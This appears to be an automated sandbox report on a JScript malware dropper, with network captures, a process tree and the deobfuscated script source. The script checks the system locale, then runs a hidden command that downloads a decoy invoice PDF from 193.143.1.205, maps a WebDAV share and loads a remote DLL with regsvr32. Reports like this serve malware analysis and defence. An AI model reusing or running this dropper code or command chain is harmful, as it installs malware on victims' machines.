Jan 11, 2025 08:10:01.237004042 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 08:10:01.237019062 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 08:10:01.237035990 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 11, 2025 08:10:01.237051010 CET	1236	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 11, 2025 08:10:01.241976976 CET	772	IN	Data Raw: 6e ca 1f 18 fa 31 3c 30 f4 ee b1 8d a1 83 03 43 9b 18 7a 72 6b 62 e8 e1 7e d0 3a 0f c6 1e ee 57 ce 63 e8 d1 e1 ed f1 51 77 6c 68 1b 43 87 c7 86 de 76 c7 86 9a 18 ca b1 a1 5b 31 f5 cd 09 00 00 60 1a 7c b1 04 00 1b e5 ef a8 e5 1d b9 7a d8 ad b0 84 Data Ascii: n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR=4pa/RrKuk{jv%Z\|GVu;=*VzfN5gM6:?SisUJ[ey\59-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7692	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:10:03.215467930 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:10:03.989280939 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:10:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:09:56
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js"
Imagebase:	0x7ff6b7f10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:09:56
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll
Imagebase:	0x7ff6207c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:09:56
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:09:57
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:10:01
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	02:10:01
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6207c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:10:01
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff63b370000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:10:03
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:10:03
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:10:03
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,4786099737499866403,6720817204243978420,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sjbkzrp() {	sjbkzrp() ➔ undefined
1	ntijsoae = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var eajqro = this[jpddpkt + fphfqdgqu + nkuqc + yjjeqw + ndpdycsyp + cowrkc + uqczw + zuwwrssn] ( this[tvjwnzib + kryyrtrp + kgyskg + nkuqc + gazkst + jpddpkt + zuwwrssn][huwkzojw + nkuqc + ndpdycsyp + fphfqdgqu + zuwwrssn + ndpdycsyp + dohzsqi + bobxnb + csjqr + ndpdycsyp + kgyskg + zuwwrssn] ( tvjwnzib + kryyrtrp + kgyskg + nkuqc + gazkst + jpddpkt + zuwwrssn + oqyjrh + kryyrtrp + dsptd + ndpdycsyp + jgljcdq + jgljcdq ) [aotpznhff + ndpdycsyp + fwtgaspa + aotpznhff + ndpdycsyp + fphfqdgqu + lvboqhw] ( ymfynbxso + vosvjzz + skttdns + aflfjlk + ppjlglvk + huwkzojw + slynf + aotpznhff + aotpznhff + skttdns + jvqcfgo + ofiafiog + ppjlglvk + slynf + kryyrtrp + skttdns + aotpznhff + rulfr + huwkzojw + xesrhri + uqczw + zuwwrssn + nkuqc + xesrhri + jgljcdq + wsxwpwh + quvdd + fphfqdgqu + uqczw + ndpdycsyp + jgljcdq + rulfr + cowrkc + uqczw + zuwwrssn + ndpdycsyp + nkuqc + uqczw + fphfqdgqu + zuwwrssn + gazkst + xesrhri + uqczw + fphfqdgqu + jgljcdq + rulfr + gxymmi + xesrhri + kgyskg + fphfqdgqu + jgljcdq + ndpdycsyp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( fjxnw = 0 ; fjxnw < ntijsoae[jgljcdq + ndpdycsyp + uqczw + fwtgaspa + zuwwrssn + dsptd] ; ++ fjxnw )
4	{
5	if ( eajqro == ntijsoae[fjxnw] )
6	{
7	eajqro = true;
8	break ;
9	}
10	}
11	if ( eajqro !== true )
12	this[tvjwnzib + kryyrtrp + kgyskg + nkuqc + gazkst + jpddpkt + zuwwrssn][wublgt + oflfy + gazkst + zuwwrssn] ( );
13	this[tvjwnzib + kryyrtrp + kgyskg + nkuqc + gazkst + jpddpkt + zuwwrssn][huwkzojw + nkuqc + ndpdycsyp + fphfqdgqu + zuwwrssn + ndpdycsyp + dohzsqi + bobxnb + csjqr + ndpdycsyp + kgyskg + zuwwrssn] ( tvjwnzib + kryyrtrp + kgyskg + nkuqc + gazkst + jpddpkt + zuwwrssn + oqyjrh + kryyrtrp + dsptd + ndpdycsyp + jgljcdq + jgljcdq ) [nkuqc + oflfy + uqczw] ( kgyskg + svecsm + lvboqhw + wsxwpwh + qqcbgerbj + kgyskg + wsxwpwh + jpddpkt + xesrhri + bjcop + ndpdycsyp + nkuqc + yjjeqw + dsptd + ndpdycsyp + jgljcdq + jgljcdq + oqyjrh + ndpdycsyp + fgcjmdi + ndpdycsyp + wsxwpwh + kuxmbbwwj + huwkzojw + xesrhri + svecsm + svecsm + fphfqdgqu + uqczw + lvboqhw + wsxwpwh + lnfvtaj + cowrkc + uqczw + fcqblo + xesrhri + otowwzu + ndpdycsyp + kuxmbbwwj + tvjwnzib + ndpdycsyp + bobxnb + aotpznhff + ndpdycsyp + wqaxcx + oflfy + ndpdycsyp + yjjeqw + zuwwrssn + wsxwpwh + kuxmbbwwj + dohzsqi + oflfy + zuwwrssn + ubojultao + gazkst + jgljcdq + ndpdycsyp + wsxwpwh + dqtav + zuwwrssn + ndpdycsyp + svecsm + jpddpkt + dqtav + rulfr + gazkst + uqczw + fcqblo + xesrhri + gazkst + kgyskg + ndpdycsyp + oqyjrh + jpddpkt + lvboqhw + sdlepep + wsxwpwh + dsptd + zuwwrssn + zuwwrssn + jpddpkt + riyip + qqcbgerbj + qqcbgerbj + viyjnhd + xbkuibkaa + ljitgz + oqyjrh + viyjnhd + zqkfd + ljitgz + oqyjrh + viyjnhd + oqyjrh + mvweokqd + vlywdlg + mvrkw + qqcbgerbj + gazkst + uqczw + fcqblo + xesrhri + gazkst + kgyskg + ndpdycsyp + oqyjrh + jpddpkt + dsptd + jpddpkt + lnfvtaj + ufpxcphc + ufpxcphc + yjjeqw + zuwwrssn + fphfqdgqu + nkuqc + zuwwrssn + wsxwpwh + dqtav + zuwwrssn + ndpdycsyp + svecsm + jpddpkt + dqtav + rulfr + gazkst + uqczw + fcqblo + xesrhri + gazkst + kgyskg + ndpdycsyp + oqyjrh + jpddpkt + lvboqhw + sdlepep + ufpxcphc + ufpxcphc + kgyskg + svecsm + lvboqhw + wsxwpwh + qqcbgerbj + kgyskg + wsxwpwh + uqczw + ndpdycsyp + zuwwrssn + wsxwpwh + oflfy + yjjeqw + ndpdycsyp + wsxwpwh + rulfr + rulfr + viyjnhd + xbkuibkaa + ljitgz + oqyjrh + viyjnhd + zqkfd + ljitgz + oqyjrh + viyjnhd + oqyjrh + mvweokqd + vlywdlg + mvrkw + hmbfizjw + snixhev + snixhev + snixhev + snixhev + rulfr + lvboqhw + fphfqdgqu + fcqblo + bjcop + bjcop + bjcop + nkuqc + xesrhri + xesrhri + zuwwrssn + rulfr + ufpxcphc + ufpxcphc + kgyskg + svecsm + lvboqhw + wsxwpwh + qqcbgerbj + kgyskg + wsxwpwh + nkuqc + ndpdycsyp + fwtgaspa + yjjeqw + fcqblo + nkuqc + ljitgz + mvweokqd + wsxwpwh + qqcbgerbj + yjjeqw + wsxwpwh + rulfr + rulfr + viyjnhd + xbkuibkaa + ljitgz + oqyjrh + viyjnhd + zqkfd + ljitgz + oqyjrh + viyjnhd + oqyjrh + mvweokqd + vlywdlg + mvrkw + hmbfizjw + snixhev + snixhev + snixhev + snixhev + rulfr + lvboqhw + fphfqdgqu + fcqblo + bjcop + bjcop + bjcop + nkuqc + xesrhri + xesrhri + zuwwrssn + rulfr + viyjnhd + viyjnhd + xbkuibkaa + ljitgz + epntxmtg + zqkfd + vlywdlg + hridldxup + mvweokqd + mvweokqd + mvweokqd + mvrkw + mvweokqd + mvweokqd + oqyjrh + lvboqhw + jgljcdq + jgljcdq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll",0,false) ➔ 0
14	}
15	oqyjrh = "h";
16	oqyjrh = "T";
17	oqyjrh = "x";
18	oqyjrh = "z";
19	oqyjrh = "Z";
20	oqyjrh = "Y";
21	oqyjrh = "G";
22	oqyjrh = "x";
23	oqyjrh = "G";
24	oqyjrh = "E";
25	oqyjrh = "x";
26	oqyjrh = "w";
27	oqyjrh = "W";
28	oqyjrh = "r";
29	oqyjrh = "r";
30	oqyjrh = "C";
31	oqyjrh = "o";
32	oqyjrh = "j";
33	oqyjrh = "P";
34	oqyjrh = "t";
35	oqyjrh = "y";
36	oqyjrh = "z";
37	oqyjrh = "Y";
38	oqyjrh = "D";
39	oqyjrh = "y";
40	oqyjrh = "H";
41	oqyjrh = "G";
42	oqyjrh = "M";
43	oqyjrh = "c";
44	oqyjrh = ".";
45	quvdd = "D";
46	quvdd = "Q";
47	quvdd = "w";
48	quvdd = "z";
49	quvdd = "a";
50	quvdd = "a";
51	quvdd = "a";
52	quvdd = "s";
53	quvdd = "m";
54	quvdd = "s";
55	quvdd = "u";
56	quvdd = "o";
57	quvdd = "j";
58	quvdd = "f";
59	quvdd = "W";
60	quvdd = "n";
61	quvdd = "U";
62	quvdd = "h";
63	quvdd = "k";
64	quvdd = "A";
65	quvdd = "N";
66	quvdd = "M";
67	quvdd = "X";
68	quvdd = "O";
69	quvdd = "i";
70	quvdd = "E";
71	quvdd = "A";
72	quvdd = "d";
73	quvdd = "Z";
74	quvdd = "T";
75	quvdd = "d";
76	quvdd = "q";
77	quvdd = "A";
78	quvdd = "D";
79	quvdd = "n";
80	quvdd = "P";
81	xesrhri = "M";
82	xesrhri = "k";
83	xesrhri = "o";
84	gazkst = "R";
85	gazkst = "f";
86	gazkst = "s";
87	gazkst = "i";
88	vosvjzz = "U";
89	vosvjzz = "P";
90	vosvjzz = "Y";
91	vosvjzz = "B";
92	vosvjzz = "s";
93	vosvjzz = "w";
94	vosvjzz = "q";
95	vosvjzz = "u";
96	vosvjzz = "u";
97	vosvjzz = "B";
98	vosvjzz = "K";
99	vosvjzz = "S";
100	vosvjzz = "K";
101	qqcbgerbj = "W";
102	qqcbgerbj = "n";
103	qqcbgerbj = "/";
104	cowrkc = "y";
105	cowrkc = "S";
106	cowrkc = "u";
107	cowrkc = "C";
108	cowrkc = "Z";
109	cowrkc = "H";
110	cowrkc = "p";
111	cowrkc = "G";
112	cowrkc = "F";
113	cowrkc = "t";
114	cowrkc = "z";
115	cowrkc = "P";
116	cowrkc = "U";
117	cowrkc = "O";
118	cowrkc = "z";
119	cowrkc = "r";
120	cowrkc = "m";
121	cowrkc = "P";
122	cowrkc = "x";
123	cowrkc = "E";
124	cowrkc = "e";
125	cowrkc = "R";
126	cowrkc = "q";
127	cowrkc = "u";
128	cowrkc = "G";
129	cowrkc = "I";
130	kuxmbbwwj = "A";
131	kuxmbbwwj = "G";
132	kuxmbbwwj = "X";
133	kuxmbbwwj = "f";
134	kuxmbbwwj = "H";
135	kuxmbbwwj = "i";
136	kuxmbbwwj = "N";
137	kuxmbbwwj = "Q";
138	kuxmbbwwj = "R";
139	kuxmbbwwj = "X";
140	kuxmbbwwj = "q";
141	kuxmbbwwj = "v";
142	kuxmbbwwj = "X";
143	kuxmbbwwj = "u";
144	kuxmbbwwj = "N";
145	kuxmbbwwj = "r";
146	kuxmbbwwj = "J";
147	kuxmbbwwj = "A";
148	kuxmbbwwj = "m";
149	kuxmbbwwj = "G";
150	kuxmbbwwj = "X";
151	kuxmbbwwj = "R";
152	kuxmbbwwj = "h";
153	kuxmbbwwj = "k";
154	kuxmbbwwj = "X";
155	kuxmbbwwj = "U";
156	kuxmbbwwj = "c";
157	kuxmbbwwj = "Z";
158	kuxmbbwwj = "d";
159	kuxmbbwwj = "z";
160	kuxmbbwwj = "G";
161	kuxmbbwwj = "I";
162	kuxmbbwwj = "r";
163	kuxmbbwwj = "U";
164	kuxmbbwwj = "O";
165	kuxmbbwwj = "n";
166	kuxmbbwwj = "k";
167	kuxmbbwwj = "R";
168	kuxmbbwwj = "p";
169	kuxmbbwwj = "u";
170	kuxmbbwwj = "D";
171	kuxmbbwwj = "-";
172	ndpdycsyp = "L";
173	ndpdycsyp = "H";
174	ndpdycsyp = "n";
175	ndpdycsyp = "e";
176	ndpdycsyp = "J";
177	ndpdycsyp = "L";
178	ndpdycsyp = "i";
179	ndpdycsyp = "q";
180	ndpdycsyp = "Z";
181	ndpdycsyp = "B";
182	ndpdycsyp = "G";
183	ndpdycsyp = "s";
184	ndpdycsyp = "g";
185	ndpdycsyp = "M";
186	ndpdycsyp = "U";
187	ndpdycsyp = "U";
188	ndpdycsyp = "v";
189	ndpdycsyp = "e";
190	ndpdycsyp = "Q";
191	ndpdycsyp = "W";
192	ndpdycsyp = "I";
193	ndpdycsyp = "F";
194	ndpdycsyp = "m";
195	ndpdycsyp = "C";
196	ndpdycsyp = "X";
197	ndpdycsyp = "D";
198	ndpdycsyp = "R";
199	ndpdycsyp = "G";
200	ndpdycsyp = "U";
201	ndpdycsyp = "a";
202	ndpdycsyp = "U";
203	ndpdycsyp = "G";
204	ndpdycsyp = "v";
205	ndpdycsyp = "N";
206	ndpdycsyp = "e";
207	csjqr = "O";
208	csjqr = "k";
209	csjqr = "f";
210	csjqr = "u";
211	csjqr = "f";
212	csjqr = "j";
213	lnfvtaj = "S";
214	lnfvtaj = "s";
215	lnfvtaj = "x";
216	lnfvtaj = "h";
217	lnfvtaj = "G";
218	lnfvtaj = "U";
219	lnfvtaj = "l";
220	lnfvtaj = "F";
221	lnfvtaj = "a";
222	lnfvtaj = "g";
223	lnfvtaj = "\"";
224	jvqcfgo = "w";
225	jvqcfgo = "Z";
226	jvqcfgo = "g";
227	jvqcfgo = "O";
228	jvqcfgo = "L";
229	jvqcfgo = "z";
230	jvqcfgo = "G";
231	jvqcfgo = "H";
232	jvqcfgo = "Y";
233	jvqcfgo = "O";
234	jvqcfgo = "C";
235	jvqcfgo = "N";
236	jvqcfgo = "Z";
237	jvqcfgo = "c";
238	jvqcfgo = "w";
239	jvqcfgo = "X";
240	jvqcfgo = "F";
241	jvqcfgo = "N";
242	jvqcfgo = "j";
243	jvqcfgo = "A";
244	jvqcfgo = "N";
245	kryyrtrp = "B";
246	kryyrtrp = "g";
247	kryyrtrp = "r";
248	kryyrtrp = "o";
249	kryyrtrp = "b";
250	kryyrtrp = "N";
251	kryyrtrp = "w";
252	kryyrtrp = "v";
253	kryyrtrp = "o";
254	kryyrtrp = "j";
255	kryyrtrp = "z";
256	kryyrtrp = "e";
257	kryyrtrp = "Z";
258	kryyrtrp = "p";
259	kryyrtrp = "g";
260	kryyrtrp = "y";
261	kryyrtrp = "T";
262	kryyrtrp = "o";
263	kryyrtrp = "V";
264	kryyrtrp = "v";
265	kryyrtrp = "q";
266	kryyrtrp = "G";
267	kryyrtrp = "O";
268	kryyrtrp = "q";
269	kryyrtrp = "p";
270	kryyrtrp = "y";
271	kryyrtrp = "d";
272	kryyrtrp = "S";
273	uqczw = "n";
274	ymfynbxso = "o";
275	ymfynbxso = "E";
276	ymfynbxso = "z";
277	ymfynbxso = "G";
278	ymfynbxso = "T";
279	ymfynbxso = "w";
280	ymfynbxso = "G";
281	ymfynbxso = "F";
282	ymfynbxso = "H";
283	ymfynbxso = "c";
284	ymfynbxso = "q";
285	ymfynbxso = "c";
286	ymfynbxso = "l";
287	ymfynbxso = "V";
288	ymfynbxso = "X";
289	ymfynbxso = "W";
290	ymfynbxso = "P";
291	ymfynbxso = "n";
292	ymfynbxso = "Q";
293	ymfynbxso = "Q";
294	ymfynbxso = "U";
295	ymfynbxso = "A";
296	ymfynbxso = "S";
297	ymfynbxso = "Z";
298	ymfynbxso = "O";
299	ymfynbxso = "s";
300	ymfynbxso = "g";
301	ymfynbxso = "o";
302	ymfynbxso = "V";
303	ymfynbxso = "W";
304	ymfynbxso = "y";
305	ymfynbxso = "W";
306	ymfynbxso = "H";
307	ubojultao = "V";
308	ubojultao = "O";
309	ubojultao = "t";
310	ubojultao = "t";
311	ubojultao = "c";
312	ubojultao = "i";
313	ubojultao = "u";
314	ubojultao = "J";
315	ubojultao = "d";
316	ubojultao = "V";
317	ubojultao = "P";
318	ubojultao = "I";
319	ubojultao = "v";
320	ubojultao = "F";
321	ufpxcphc = "Z";
322	ufpxcphc = "r";
323	ufpxcphc = "X";
324	ufpxcphc = "I";
325	ufpxcphc = "&";
326	epntxmtg = "S";
327	epntxmtg = "u";
328	epntxmtg = "b";
329	epntxmtg = "s";
330	epntxmtg = "q";
331	epntxmtg = "F";
332	epntxmtg = "k";
333	epntxmtg = "A";
334	epntxmtg = "P";
335	epntxmtg = "c";
336	epntxmtg = "B";
337	epntxmtg = "T";
338	epntxmtg = "a";
339	epntxmtg = "o";
340	epntxmtg = "i";
341	epntxmtg = "D";
342	epntxmtg = "p";
343	epntxmtg = "z";
344	epntxmtg = "q";
345	epntxmtg = "Z";
346	epntxmtg = "U";
347	epntxmtg = "u";
348	epntxmtg = "Y";
349	epntxmtg = "A";
350	epntxmtg = "B";
351	epntxmtg = "a";
352	epntxmtg = "X";
353	epntxmtg = "B";
354	epntxmtg = "a";
355	epntxmtg = "X";
356	epntxmtg = "7";
357	sdlepep = "w";
358	sdlepep = "O";
359	sdlepep = "V";
360	sdlepep = "N";
361	sdlepep = "K";
362	sdlepep = "y";
363	sdlepep = "o";
364	sdlepep = "a";
365	sdlepep = "Y";
366	sdlepep = "f";
367	sdlepep = "M";
368	sdlepep = "f";
369	sdlepep = "i";
370	sdlepep = "v";
371	sdlepep = "W";
372	sdlepep = "e";
373	sdlepep = "j";
374	sdlepep = "H";
375	sdlepep = "G";
376	sdlepep = "l";
377	sdlepep = "r";
378	sdlepep = "i";
379	sdlepep = "P";
380	sdlepep = "s";
381	sdlepep = "f";
382	oflfy = "R";
383	oflfy = "n";
384	oflfy = "d";
385	oflfy = "M";
386	oflfy = "c";
387	oflfy = "W";
388	oflfy = "e";
389	oflfy = "F";
390	oflfy = "d";
391	oflfy = "C";
392	oflfy = "u";
393	wqaxcx = "H";
394	wqaxcx = "w";
395	wqaxcx = "w";
396	wqaxcx = "A";
397	wqaxcx = "q";
398	riyip = "F";
399	riyip = "r";
400	riyip = "c";
401	riyip = "M";
402	riyip = "w";
403	riyip = "T";
404	riyip = "R";
405	riyip = "N";
406	riyip = "d";
407	riyip = "P";
408	riyip = ":";
409	kgyskg = "q";
410	kgyskg = "I";
411	kgyskg = "T";
412	kgyskg = "T";
413	kgyskg = "Y";
414	kgyskg = "W";
415	kgyskg = "Q";
416	kgyskg = "E";
417	kgyskg = "j";
418	kgyskg = "y";
419	kgyskg = "A";
420	kgyskg = "x";
421	kgyskg = "U";
422	kgyskg = "s";
423	kgyskg = "w";
424	kgyskg = "w";
425	kgyskg = "F";
426	kgyskg = "E";
427	kgyskg = "c";
428	kgyskg = "v";
429	kgyskg = "P";
430	kgyskg = "C";
431	kgyskg = "n";
432	kgyskg = "r";
433	kgyskg = "c";
434	rulfr = "Y";
435	rulfr = "Y";
436	rulfr = "W";
437	rulfr = "a";
438	rulfr = "v";
439	rulfr = "q";
440	rulfr = "H";
441	rulfr = "l";
442	rulfr = "m";
443	rulfr = "S";
444	rulfr = "D";
445	rulfr = "W";
446	rulfr = "C";
447	rulfr = "H";
448	rulfr = "Z";
449	rulfr = "s";
450	rulfr = "F";
451	rulfr = "V";
452	rulfr = "b";
453	rulfr = "H";
454	rulfr = "f";
455	rulfr = "l";
456	rulfr = "u";
457	rulfr = "m";
458	rulfr = "Y";
459	rulfr = "L";
460	rulfr = "o";
461	rulfr = "G";
462	rulfr = "j";
463	rulfr = "D";
464	rulfr = "g";
465	rulfr = "f";
466	rulfr = "k";
467	rulfr = "r";
468	rulfr = "h";
469	rulfr = "F";
470	rulfr = "g";
471	rulfr = "x";
472	rulfr = "B";
473	rulfr = "w";
474	rulfr = "R";
475	rulfr = "\\";
476	slynf = "w";
477	slynf = "j";
478	slynf = "K";
479	slynf = "M";
480	slynf = "B";
481	slynf = "f";
482	slynf = "k";
483	slynf = "h";
484	slynf = "A";
485	slynf = "W";
486	slynf = "h";
487	slynf = "a";
488	slynf = "d";
489	slynf = "c";
490	slynf = "P";
491	slynf = "E";
492	slynf = "Q";
493	slynf = "s";
494	slynf = "h";
495	slynf = "z";
496	slynf = "Y";
497	slynf = "v";
498	slynf = "F";
499	slynf = "Q";
500	slynf = "Y";
501	slynf = "P";
502	slynf = "H";
503	slynf = "N";
504	slynf = "R";
505	slynf = "r";
506	slynf = "K";
507	slynf = "Z";
508	slynf = "X";
509	slynf = "T";
510	slynf = "t";
511	slynf = "K";
512	slynf = "N";
513	slynf = "O";
514	slynf = "K";
515	slynf = "G";
516	slynf = "m";
517	slynf = "y";
518	slynf = "V";
519	slynf = "Q";
520	slynf = "U";
521	aotpznhff = "K";
522	aotpznhff = "g";
523	aotpznhff = "l";
524	aotpznhff = "j";
525	aotpznhff = "l";
526	aotpznhff = "h";
527	aotpznhff = "L";
528	aotpznhff = "O";
529	aotpznhff = "c";
530	aotpznhff = "R";
531	aotpznhff = "x";
532	aotpznhff = "z";
533	aotpznhff = "Q";
534	aotpznhff = "E";
535	aotpznhff = "y";
536	aotpznhff = "I";
537	aotpznhff = "j";
538	aotpznhff = "g";
539	aotpznhff = "h";
